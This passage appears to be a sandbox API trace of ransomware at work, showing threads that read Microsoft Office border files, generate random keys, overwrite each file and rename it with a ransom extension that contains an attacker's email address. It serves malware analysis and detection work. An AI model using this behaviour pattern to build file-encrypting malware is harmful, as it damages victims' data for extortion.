RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05548) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05700) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05408) returned 1 [0063.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05228) returned 1 [0063.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00470 [0063.570] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" [0063.570] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.mailto[2Hamlampampom@cock.li].cd46d" [0063.570] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x62cfb7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x12cf96e0 [0063.571] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0063.571] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f5530) returned 1 [0063.571] NtQueryInformationFile (in: FileHandle=0xb68, IoStatusBlock=0x62cfb88, FileInformation=0x62cfb60, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x62cfb88, FileInformation=0x62cfb60) returned 0x0 [0063.571] NtSetInformationFile (FileHandle=0xb68, IoStatusBlock=0x62cfb88, FileInformation=0x62cfb60, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.573] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0063.573] FlushFileBuffers (hFile=0xb68) returned 1 [0066.226] CloseHandle (hObject=0xb68) Thread: id = 1111 os_tid = 0xd1c [0059.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 0x20 [0063.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR", dwFileAttributes=0x20) returned 1 [0063.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb64 [0063.568] GetFileSizeEx (in: hFile=0xb64, lpFileSize=0x2e3f8b0 | out: lpFileSize=0x2e3f8b0*=28368) returned 1 [0063.568] SetFilePointerEx (in: hFile=0xb64, liDistanceToMove=0x6ecc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.574] ReadFile (in: hFile=0xb64, lpBuffer=0x2e3f834, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e3f830, lpOverlapped=0x0 | out: lpBuffer=0x2e3f834*, lpNumberOfBytesRead=0x2e3f830*=0x4, lpOverlapped=0x0) returned 1 [0063.575] SetFilePointerEx (in: hFile=0xb64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05228 [0063.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05408 [0063.575] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05700 [0063.575] NtQuerySystemTime (in: CurrentTime=0x2e3f810 | out: CurrentTime=0x2e3f810*=132174898275624000) returned 0x0 [0063.575] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x3fdfcd73 [0063.575] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x799479c0 [0063.575] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x2f4a042c [0063.575] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x74282e1a [0063.575] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x4a9c066c [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x2ef8dfd6 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x60d9fb9e [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x796124ac [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x31d0a541 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x7f54612a [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x1a137f5f [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x5f59c6fd [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x104c2be1 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x51f4d7da [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x23308ce5 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x7ad772 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x7ea3ed4a [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x3fdd9c81 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x477856e4 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x109631ef [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x4208159e [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x5af9455d [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x32b48a22 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x52f43411 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x3991734c [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x60f22c70 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x52229606 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x7c8d1027 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x62e5463e [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x4d8d5e64 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x62385db7 [0063.576] RtlRandomEx (in: Seed=0x2e3f81c | out: Seed=0x2e3f81c) returned 0x1e30ec03 [0063.587] ReadFile (in: hFile=0xb64, lpBuffer=0x194f5860, nNumberOfBytesToRead=0x6ed0, lpNumberOfBytesRead=0x2e3f80c, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesRead=0x2e3f80c*=0x6ed0, lpOverlapped=0x0) returned 1 [0063.589] SetFilePointerEx (in: hFile=0xb64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.589] WriteFile (in: hFile=0xb64, lpBuffer=0x1962e128*, nNumberOfBytesToWrite=0x6ed0, lpNumberOfBytesWritten=0x2e3f808, lpOverlapped=0x0 | out: lpBuffer=0x1962e128*, lpNumberOfBytesWritten=0x2e3f808*=0x6ed0, lpOverlapped=0x0) returned 1 [0066.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce730 [0066.620] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce370 [0066.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce370) returned 1 [0066.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1962e128) returned 1 [0066.625] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0066.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45ad0) returned 1 [0066.633] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a38) returned 1 [0066.633] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x4e0360 [0066.633] SetFilePointerEx (in: hFile=0xb64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.633] WriteFile (hFile=0xb64, lpBuffer=0x445758, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x2e3f870, lpOverlapped=0x0) Thread: id = 1112 os_tid = 0xd20 [0059.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr")) returned 0x20 [0063.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR", dwFileAttributes=0x20) returned 1 [0063.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART14.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart14.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf80 [0063.590] GetFileSizeEx (in: hFile=0xf80, lpFileSize=0x4b0fd78 | out: lpFileSize=0x4b0fd78*=51388) returned 1 [0063.590] SetFilePointerEx (in: hFile=0xf80, liDistanceToMove=0xc8b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.590] ReadFile (in: hFile=0xf80, lpBuffer=0x4b0fcfc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4b0fcf8, lpOverlapped=0x0 | out: lpBuffer=0x4b0fcfc*, lpNumberOfBytesRead=0x4b0fcf8*=0x4, lpOverlapped=0x0) returned 1 [0063.592] SetFilePointerEx (in: hFile=0xf80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05228 [0063.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05700 [0063.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d053e0 [0063.592] NtQuerySystemTime (in: CurrentTime=0x4b0fcd8 | out: CurrentTime=0x4b0fcd8*=132174898275780000) returned 0x0 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x7faf32 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x2781d47a [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x2c878636 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x35eab814 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x3e77ad9f [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x7989e3b1 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x357f0e54 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0xa0e699c [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x15163ba [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x7327e020 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x156128ff [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x72fb4f4a [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x457a43f6 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x1fd999c9 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x1ca2d46c [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x7d31e69a [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x34b6165f [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x3d10fdd4 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x53ff28d6 [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x2c5233ab [0063.592] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x6105ec7 [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x5a5a065b [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x5e2b6f4b [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x44ea90a0 [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x62a6b1fa [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x603426e9 [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x237bce96 [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x69c2e11a [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0xef7e6ee [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x43f219d9 [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x22887693 [0063.593] RtlRandomEx (in: Seed=0x4b0fce4 | out: Seed=0x4b0fce4) returned 0x1b95ca8d [0063.604] SetFilePointerEx (in: hFile=0xf80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.604] ReadFile (in: hFile=0xf80, lpBuffer=0x1963a930, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x4b0fcb8, lpOverlapped=0x0 | out: lpBuffer=0x1963a930*, lpNumberOfBytesRead=0x4b0fcb8*=0xc800, lpOverlapped=0x0) returned 1 [0063.605] SetFilePointerEx (in: hFile=0xf80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0063.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5e45c38 [0063.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05228 [0063.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05228) returned 1 [0063.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x199d7138 [0063.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05228 [0063.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d053e0 [0063.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d053e0) returned 1 [0063.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45c38) returned 1 [0063.607] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0063.607] WriteFile (in: hFile=0xf80, lpBuffer=0x199d7138*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x4b0fcb8, lpOverlapped=0x0 | out: lpBuffer=0x199d7138*, lpNumberOfBytesWritten=0x4b0fcb8*=0xc800, lpOverlapped=0x0) returned 1 [0066.668] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199d7138) returned 1 [0066.708] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1963a930) returned 1 [0067.079] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x4e05d0 [0067.080] SetFilePointerEx (in: hFile=0xf80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.080] WriteFile (hFile=0xf80, lpBuffer=0x12e2be40, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x4b0fd38, lpOverlapped=0x0) Thread: id = 1113 os_tid = 0xd24 [0059.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr")) returned 0x20 [0063.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR", dwFileAttributes=0x20) returned 1 [0063.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART15.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart15.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf9c [0063.608] GetFileSizeEx (in: hFile=0xf9c, lpFileSize=0x68bf84c | out: lpFileSize=0x68bf84c*=27412) returned 1 [0063.608] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x6b10, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.608] ReadFile (in: hFile=0xf9c, lpBuffer=0x68bf7d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x68bf7cc, lpOverlapped=0x0 | out: lpBuffer=0x68bf7d0*, lpNumberOfBytesRead=0x68bf7cc*=0x4, lpOverlapped=0x0) returned 1 [0063.609] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d053e0 [0063.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05278 [0063.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05520 [0063.609] NtQuerySystemTime (in: CurrentTime=0x68bf7ac | out: CurrentTime=0x68bf7ac*=132174898275936000) returned 0x0 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x236ce121 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x744dfd40 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x1267a969 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0xf6a51e6 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x26d91ffe [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x3701bb2f [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x7e6fbfcf [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0xb172987 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x518692d [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x5b145f3e [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x21e0d66e [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x5088c77c [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x4ca5630f [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x1c248324 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x51e5f59d [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x418ec82e [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x4c410fec [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0xbced098 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x5aa4e9ef [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x3792e9e [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x7a41cb5c [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x18914d5b [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x46eb0b9e [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x321888ab [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x3bbff02d [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x4ce5445b [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x6a546c7f [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x6b15ac54 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x3d4a456 [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0x38b8175d [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0xc112abe [0063.610] RtlRandomEx (in: Seed=0x68bf7b8 | out: Seed=0x68bf7b8) returned 0xbc4b419 [0063.622] ReadFile (in: hFile=0xf9c, lpBuffer=0x199e3940, nNumberOfBytesToRead=0x6b14, lpNumberOfBytesRead=0x68bf7a8, lpOverlapped=0x0 | out: lpBuffer=0x199e3940*, lpNumberOfBytesRead=0x68bf7a8*=0x6b14, lpOverlapped=0x0) returned 1 [0063.623] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.623] WriteFile (in: hFile=0xf9c, lpBuffer=0x1998c108*, nNumberOfBytesToWrite=0x6b14, lpNumberOfBytesWritten=0x68bf7a4, lpOverlapped=0x0 | out: lpBuffer=0x1998c108*, lpNumberOfBytesWritten=0x68bf7a4*=0x6b14, lpOverlapped=0x0) returned 1 [0066.711] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb60 [0066.711] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ed908 [0066.711] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ed908) returned 1 [0066.711] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1998c108) returned 1 [0066.854] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x199e3940) returned 1 [0066.860] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45c38) returned 1 [0066.860] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0066.861] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x4e0150 [0066.861] SetFilePointerEx (in: hFile=0xf9c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.861] WriteFile (hFile=0xf9c, lpBuffer=0x445a88, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x68bf80c, lpOverlapped=0x0) Thread: id = 1114 os_tid = 0xd28 [0059.459] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr")) returned 0x20 [0063.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR", dwFileAttributes=0x20) returned 1 [0063.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART2.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart2.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb8 [0063.625] GetFileSizeEx (in: hFile=0xeb8, lpFileSize=0x496fce0 | out: lpFileSize=0x496fce0*=47188) returned 1 [0063.625] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0xb850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.625] ReadFile (in: hFile=0xeb8, lpBuffer=0x496fc64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x496fc60, lpOverlapped=0x0 | out: lpBuffer=0x496fc64*, lpNumberOfBytesRead=0x496fc60*=0x4, lpOverlapped=0x0) returned 1 [0063.629] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d053e0 [0063.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05520 [0063.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05390 [0063.629] NtQuerySystemTime (in: CurrentTime=0x496fc40 | out: CurrentTime=0x496fc40*=132174898276092000) returned 0x0 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x6a863d95 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0xf77c1d6 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x4a8caa33 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x2d279f7c [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x3e14dcf4 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x3b0c71b7 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x71dd58e2 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x49e76598 [0063.629] RtlRandomEx (in: Seed=0x496fc4c | out: Seed=0x496fc4c) returned 0x675fb33a [0063.629] RtlRandomEx (in: 